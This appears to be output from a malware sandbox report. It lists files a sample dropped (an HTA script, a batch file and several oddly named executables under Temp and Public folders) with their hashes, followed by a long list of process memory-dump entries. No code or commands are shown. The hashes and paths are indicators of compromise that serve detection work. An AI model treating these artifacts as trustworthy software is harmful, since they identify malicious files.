9383fc3f57fa2cea100b103c7fd9ea7c

SHA1
84ea6c1913752cb744e061ff2a682d9fe4039a37

SHA256
831e8ee7bc3eeeaaa796a34cbb080658dec1be7eb26eb2671353f650041b220d

SHA512
16eda09f6948742933b6504bc96eb4110952e95c4be752e12732cb3b92db64daa7a7a0312ca78ff1ceb7cffd7bd8a7d46514226fc3cea375b4edb02a98422600

Download Submit
C:\Users\Admin\AppData\Local\Temp\C0A6.tmp\m1.hta
MD5
5eb75e90380d454828522ed546ea3cb7

SHA1
45c89f292d035367aeb2ddeb3110387a772c8a49

SHA256
dd43305abbbe5b6cc4ab375b6b0c9f8667967c35bb1f6fefb0f1a59c7c73bd5e

SHA512
0670ef4f687c4814125826b996d10f6dd8a1dd328e04b9c436ee657486b27b1eefad5b82dcc25bd239d36b7ac488f98e5adcff56c5e82f7d0ed41f03301947c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\C0A6.tmp\start.bat
MD5
68d86e419dd970356532f1fbcb15cb11

SHA1
e9ef9a9d047f1076ba2afbe4eabec2ea2338fb0a

SHA256
d150a28b978b2d92caac25ee0a805dec96381471702a97f1099707b8538c6cbe

SHA512
3078c8c33b18ca1aa3bb2f812e5f587f5b081a4bd857f942ab382383faf09dbe8af38054546bf49037b79081c9406dc25647ae5bd843abc8fcca25c7b3afae14

Download Submit
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
MD5
385e5b97d97b89cacff3594eafeb0e5e

SHA1
70e73110860c36c83c504f4804e3cebde2a618a1

SHA256
7b02ca9b842110100cd0471c27498b46a2542507ffaee32086bdfa4fd9c736b3

SHA512
f83f175846b8b674e140fff442ba8958bceb63fba2cdc2ab6c2b1e047e6c0d22c3f0ce36c9fcf44c7f744099a44fe9f497494d4e2eb47579af133c1b3dc20d83

Download Submit
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
MD5
385e5b97d97b89cacff3594eafeb0e5e

SHA1
70e73110860c36c83c504f4804e3cebde2a618a1

SHA256
7b02ca9b842110100cd0471c27498b46a2542507ffaee32086bdfa4fd9c736b3

SHA512
f83f175846b8b674e140fff442ba8958bceb63fba2cdc2ab6c2b1e047e6c0d22c3f0ce36c9fcf44c7f744099a44fe9f497494d4e2eb47579af133c1b3dc20d83

Download Submit
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
MD5
385e5b97d97b89cacff3594eafeb0e5e

SHA1
70e73110860c36c83c504f4804e3cebde2a618a1

SHA256
7b02ca9b842110100cd0471c27498b46a2542507ffaee32086bdfa4fd9c736b3

SHA512
f83f175846b8b674e140fff442ba8958bceb63fba2cdc2ab6c2b1e047e6c0d22c3f0ce36c9fcf44c7f744099a44fe9f497494d4e2eb47579af133c1b3dc20d83

Download Submit
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
MD5
385e5b97d97b89cacff3594eafeb0e5e

SHA1
70e73110860c36c83c504f4804e3cebde2a618a1

SHA256
7b02ca9b842110100cd0471c27498b46a2542507ffaee32086bdfa4fd9c736b3

SHA512
f83f175846b8b674e140fff442ba8958bceb63fba2cdc2ab6c2b1e047e6c0d22c3f0ce36c9fcf44c7f744099a44fe9f497494d4e2eb47579af133c1b3dc20d83

Download Submit
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
MD5
35bccedd18360d94a33d86c09af8480c

SHA1
013ab842c5b2ded0a930fc3d4f59a13d3ff66dc0

SHA256
ede4a3065bf86d3c92312a291f9776c231f728a32d59dcb1621bee320855ad9f

SHA512
31611f22f437bd12a4536eab643f0bf06070c5fbaedae27fc0117f1a4afca1b52d2fbc16e1a77587a4d069448bf8f158c8bbff46cfefc5bc9eccafe5421abd6f

Download Submit
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
MD5
35bccedd18360d94a33d86c09af8480c

SHA1
013ab842c5b2ded0a930fc3d4f59a13d3ff66dc0

SHA256
ede4a3065bf86d3c92312a291f9776c231f728a32d59dcb1621bee320855ad9f

SHA512
31611f22f437bd12a4536eab643f0bf06070c5fbaedae27fc0117f1a4afca1b52d2fbc16e1a77587a4d069448bf8f158c8bbff46cfefc5bc9eccafe5421abd6f

Download Submit
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
MD5
35bccedd18360d94a33d86c09af8480c

SHA1
013ab842c5b2ded0a930fc3d4f59a13d3ff66dc0

SHA256
ede4a3065bf86d3c92312a291f9776c231f728a32d59dcb1621bee320855ad9f

SHA512
31611f22f437bd12a4536eab643f0bf06070c5fbaedae27fc0117f1a4afca1b52d2fbc16e1a77587a4d069448bf8f158c8bbff46cfefc5bc9eccafe5421abd6f

Download Submit
C:\Users\Public\ser.exe
MD5
92821d6dd83105f5f2d08c43f28fa309

SHA1
93c72e2494705509b56ca93cea2448aff098cb6d

SHA256
dc3171271adef72e1faf51d68c3c76daaffa9f097ef6d51aa600c98f129209e8

SHA512
47c3a27b5a9fa6273d779ed8afffeb2bbbecab6420708f0ca36629932e1d910e06297839ca39ec01fe7e975a52ed12aaa0e781f5112870e1b7621722e1808c08

Download Submit
C:\Users\Public\ser.exe
MD5
92821d6dd83105f5f2d08c43f28fa309

SHA1
93c72e2494705509b56ca93cea2448aff098cb6d

SHA256
dc3171271adef72e1faf51d68c3c76daaffa9f097ef6d51aa600c98f129209e8

SHA512
47c3a27b5a9fa6273d779ed8afffeb2bbbecab6420708f0ca36629932e1d910e06297839ca39ec01fe7e975a52ed12aaa0e781f5112870e1b7621722e1808c08

Download Submit
C:\Users\Public\tac.exe
MD5
92821d6dd83105f5f2d08c43f28fa309

SHA1
93c72e2494705509b56ca93cea2448aff098cb6d

SHA256
dc3171271adef72e1faf51d68c3c76daaffa9f097ef6d51aa600c98f129209e8

SHA512
47c3a27b5a9fa6273d779ed8afffeb2bbbecab6420708f0ca36629932e1d910e06297839ca39ec01fe7e975a52ed12aaa0e781f5112870e1b7621722e1808c08

Download Submit
C:\Users\Public\tac.exe
MD5
92821d6dd83105f5f2d08c43f28fa309

SHA1
93c72e2494705509b56ca93cea2448aff098cb6d

SHA256
dc3171271adef72e1faf51d68c3c76daaffa9f097ef6d51aa600c98f129209e8

SHA512
47c3a27b5a9fa6273d779ed8afffeb2bbbecab6420708f0ca36629932e1d910e06297839ca39ec01fe7e975a52ed12aaa0e781f5112870e1b7621722e1808c08

Download Submit
C:\Users\Public\zaj.exe
MD5
1f76254f98b1ce3e145e72de250b6b01

SHA1
2f7170a01be8b4638b9b869758d7b34a49306c14

SHA256
e9909c77bc763fd20edbfbd3b4ad1306399d365312ea50eb45079a4f54afc0e2

SHA512
f4e1640018e7cc8994ac917a3208a1c3b7152c373182c9fe62cc7a7b73ecc81c470039530122c52e8b1f3386de0c3165d61be3188f409d72ce86511421b2b289

Download Submit
C:\Users\Public\zaj.exe
MD5
1f76254f98b1ce3e145e72de250b6b01

SHA1
2f7170a01be8b4638b9b869758d7b34a49306c14

SHA256
e9909c77bc763fd20edbfbd3b4ad1306399d365312ea50eb45079a4f54afc0e2

SHA512
f4e1640018e7cc8994ac917a3208a1c3b7152c373182c9fe62cc7a7b73ecc81c470039530122c52e8b1f3386de0c3165d61be3188f409d72ce86511421b2b289

Download Submit
memory/996-9-0x0000000000000000-mapping.dmp

Download
memory/1268-45-0x0000000006820000-0x0000000006821000-memory.dmp

Filesize
4KB

Download
memory/1268-18-0x0000000000000000-mapping.dmp

Download
memory/1268-93-0x0000000008970000-0x0000000008971000-memory.dmp

Filesize
4KB

Download
memory/1268-75-0x0000000007870000-0x0000000007871000-memory.dmp

Filesize
4KB

Download
memory/1268-28-0x0000000070F30000-0x000000007161E000-memory.dmp

Filesize
6.9MB

Download
memory/1268-33-0x00000000065C0000-0x00000000065C1000-memory.dmp

Filesize
4KB

Download
memory/1268-58-0x0000000007480000-0x0000000007481000-memory.dmp

Filesize
4KB

Download
memory/1272-19-0x0000000000000000-mapping.dmp

Download
memory/1272-104-0x0000000009420000-0x0000000009421000-memory.dmp

Filesize
4KB

Download
memory/1272-40-0x0000000007710000-0x0000000007711000-memory.dmp

Filesize
4KB

Download
memory/1272-30-0x0000000070F30000-0x000000007161E000-memory.dmp

Filesize
6.9MB

Download
memory/1272-87-0x0000000009EB0000-0x0000000009EB1000-memory.dmp

Filesize
4KB

Download
memory/1452-20-0x0000000000000000-mapping.dmp

Download
memory/1452-63-0x0000000007D90000-0x0000000007D91000-memory.dmp

Filesize
4KB

Download
memory/1452-31-0x0000000070F30000-0x000000007161E000-memory.dmp

Filesize
6.9MB

Download
memory/1544-24-0x0000000000000000-mapping.dmp

Download
memory/1808-27-0x0000000070F30000-0x000000007161E000-memory.dmp

Filesize
6.9MB

Download
memory/1808-69-0x0000000007E40000-0x0000000007E41000-memory.dmp

Filesize
4KB

Download
memory/1808-99-0x0000000009CB0000-0x0000000009CB1000-memory.dmp

Filesize
4KB

Download
memory/1808-51-0x0000000007FD0000-0x0000000007FD1000-memory.dmp

Filesize
4KB

Download
memory/1808-26-0x0000000000000000-mapping.dmp

Download
memory/2812-15-0x0000000000000000-mapping.dmp

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memory/2824-25-0x0000000000000000-mapping.dmp

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memory/2824-109-0x000000000AC00000-0x000000000AC01000-memory.dmp

Filesize
4KB

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memory/2824-32-0x0000000070F30000-0x000000007161E000-memory.dmp

Filesize
6.9MB

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memory/3364-10-0x0000000000000000-mapping.dmp

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memory/3376-12-0x0000000000000000-mapping.dmp

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memory/3536-14-0x0000000000000000-mapping.dmp

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memory/3732-22-0x0000000000000000-mapping.dmp

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memory/3820-0-0x0000000000000000-mapping.dmp

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memory/3916-2-0x0000000000000000-mapping.dmp

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memory/3916-3-0x0000000000000000-mapping.dmp

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memory/3944-6-0x0000000000000000-mapping.dmp

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memory/3976-17-0x0000000000000000-mapping.dmp

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memory/3976-81-0x0000000008070000-0x0000000008071000-memory.dmp

Filesize
4KB

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memory/3976-29-0x0000000070F30000-0x000000007161E000-memory.dmp

Filesize
6.9MB

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memory/4320-141-0x0000000000000000-mapping.dmp

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memory/4388-139-0x0000000000000000-mapping.dmp

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memory/4424-142-0x0000000000000000-mapping.dmp

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memory/4440-144-0x0000000000000000-mapping.dmp

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memory/5044-129-0x00000000004C0000-0x00000000004C1000-memory.dmp

Filesize
4KB

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memory/5044-124-0x0000000070F30000-0x000000007161E000-memory.dmp

Filesize
6.9MB

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memory/5044-117-0x0000000000000000-mapping.dmp

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memory/5052-118-0x0000000000000000-mapping.dmp

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memory/5084-123-0x0000000000000000-mapping.dmp

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